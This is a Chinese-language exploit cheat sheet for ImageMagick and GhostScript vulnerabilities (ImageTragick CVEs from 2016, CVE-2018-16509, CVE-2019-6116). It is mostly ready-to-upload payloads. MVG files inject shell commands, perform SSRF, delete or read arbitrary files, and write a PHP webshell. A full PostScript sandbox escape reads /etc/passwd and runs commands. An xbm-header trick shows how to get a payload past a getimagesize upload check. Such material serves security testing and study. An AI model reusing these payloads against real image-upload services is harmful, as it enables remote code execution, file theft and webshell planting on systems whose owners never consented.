ImageMagick
Bypass code
1
<?php
2
$filename = $_FILES['image']['tmp_name'];
3
$size = getimagesize($filename);
4
if ($size && $size[0] > 100 && $size[1] > 100) {
5
$img = new Imagick($_FILES['image']['tmp_name']);
6
$img->cropThumbnailImage(100, 100);
7
$img->writeImage('newimage.gif');
8
}
ImageMagick漏洞
ImageMagick 6.9.3-9
CVE-2016-3714
与这个漏洞相关的CVE有CVE-2016-3714、CVE-2016-3715、CVE-2016-3716、CVE-2016-3717,其中最严重的就是CVE-2016-3714,利用这个漏洞可以造成远程命令执行的危害。
ImageMagick有一个功能叫做delegate(委托),作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的。
调用的漏洞委托:
<delegate decode="https" command=""curl" -s -k -o "%o" "https:%M""/>
漏洞poc
1
push graphic-context
2
viewbox 0 0 640 480
3
fill 'url(https://"|id;")'
4
pop graphic-context
CVE-2016-3718
利用mvg格式中可以包含url的特点,进行SSRF攻击
1
push graphic-context
2
viewbox 0 0 640 480
3
fill 'url(http://example.com/)'
4
pop graphic-context
CVE-2016-3715
利用ImageMagick支持的ephemeral协议,来删除任意文件:
1
push graphic-context
2
viewbox 0 0 640 480
3
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
4
popgraphic-context
CVE-2016-3716
ImageMagick支持的msl协议,来进行文件的读取和写入。利用这个漏洞,可以将任意文件写为任意文件,比如将图片写为一个.php后缀的webshell
特别说明的是,msl协议是读取一个msl格式的xml文件,并根据其内容执行一些操作:
1
file_move.mvg
2
-=-=-=-=-=-=-=-=-
3
push graphic-context
4
viewbox 0 0 640 480
5
image over 0,0 0,0 'msl:/tmp/msl.txt'
6
popgraphic-context
7
8
/tmp/msl.txt
9
-=-=-=-=-=-=-=-=-
10
<?xml version="1.0" encoding="UTF-8"?>
11
<image>
12
<read filename="/tmp/image.gif" />
13
<write filename="/var/www/shell.php" />
14
</image>
CVE-2016-3717
造成本地文件读取漏洞:
1
push graphic-context
2
viewbox 0 0 640 480
3
image over 0,0 0,0 'label:@/etc/hosts'
4
pop graphic-context
Pocs
深入分析
漏洞代码
1
<?php
2
new Imagick('vul.gif');
无返回值,需从日志读取
ImageMagick内存泄漏漏洞(CVE-2018-16323)
攻击思路
生成PoC(ps文件);
上传即可
poc
1
poc.png
2
______________________________________________________________________________________________
3
%!PS
4
userdict /setpagedevice undef
5
save
6
legal
7
{ null restore } stopped { pop } if
8
{ legal } stopped { pop } if
9
restore
10
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops
GhostScript沙箱绕过(命令执行)漏洞(CVE-2019-6116)
攻击思路
- 生成poc
- 上传即可
poc
1
poc.png
2
______________________________________________________________________________________________
3
%!PS
4
% extract .actual_pdfpaintproc operator from pdfdict
5
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def
6
7
/exploit {
8
(Stage 11: Exploitation...)=
9
10
/forceput exch def
11
12
systemdict /SAFER false forceput
13
userparams /LockFilePermissions false forceput
14
systemdict /userparams get /PermitFileControl [(*)] forceput
15
systemdict /userparams get /PermitFileWriting [(*)] forceput
16
systemdict /userparams get /PermitFileReading [(*)] forceput
17
18
% update
19
save restore
20
21
% All done.
22
stop
23
} def
24
25
errordict /typecheck {
26
/typecount typecount 1 add def
27
(Stage 10: /typecheck #)=only typecount ==
28
29
% The first error will be the .knownget, which we handle and setup the
30
% stack. The second error will be the ifelse (missing boolean), and then we
31
% dump the operands.
32
typecount 1 eq { null } if
33
typecount 2 eq { pop 7 get exploit } if
34
typecount 3 eq { (unexpected)= quit } if
35
} put
36
37
% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
38
% executable arrays onto the operand stack that contain .forceput, but are not
39
% marked as executeonly or pseudo-operators.
40
%
41
% The routine was attempting to pass them to ifelse, but we can cause that to
42
% fail because when the routine was declared, it used `bind` but many of the
43
% names it uses are not operators and so are just looked up in the dictstack.
44
%
45
% This means we can push a dict onto the dictstack and control how the routine
46
% works.
47
<<
48
/typecount 0
49
/PDFfile { (Stage 0: PDFfile)= currentfile }
50
/q { (Stage 1: q)= } % no-op
51
/oget { (Stage 3: oget)= pop pop 0 } % clear stack
52
/pdfemptycount { (Stage 4: pdfemptycount)= } % no-op
53
/gput { (Stage 5: gput)= } % no-op
54
/resolvestream { (Stage 6: resolvestream)= } % no-op
55
/pdfopdict { (Stage 7: pdfopdict)= } % no-op
56
/.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
57
/pdfdict { (Stage 9: pdfdict)=
58
% cause a /typecheck error we handle above
59
true
60
}
61
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop
62
63
(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=
64
65
% Demonstrate reading a file we shouldnt have access to.
66
(/etc/passwd) (r) file dup 64 string readline pop == closefile
67
68
(Attempting to execute a shell command...)= flush
69
70
% run command
71
(%pipe%id > /tmp/success) (w) file closefile
72
73
(All done.)=
74
75
quit
绕过getimagesize,执行new ImageMagick()漏洞
mvg格式的POC :
1
push graphic-context
2
viewbox 0 0 640 480
3
fill 'url(https://127.0.0.0/oops.jpg"|"`id`)'
4
pop graphic-context
5
#define xlogo_width 200
6
#define xlogo_height 200
xbm图片是一个文本格式的文件,而不像其他图片一样是二进制文件。如果某一行格式满足
#define %s %d
,那么取出其中的字符串和数字,再从字符串中取出width
或height
,将数字作为图片的长和宽。后面两句,使其正常判断mvg格式文件的大小
ps文件poc
借助CVE-2018-16509的POC
1
poc.png
2
__________________________________________________________________________________________
3
%!PS
4
userdict /setpagedevice undef
5
save
6
legal
7
{ null restore } stopped { pop } if
8
{ legal } stopped { pop } if
9
restore
10
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
11
12
/test {
13
#define xlogo64_width 64
14
#define xlogo64_height 64
15
}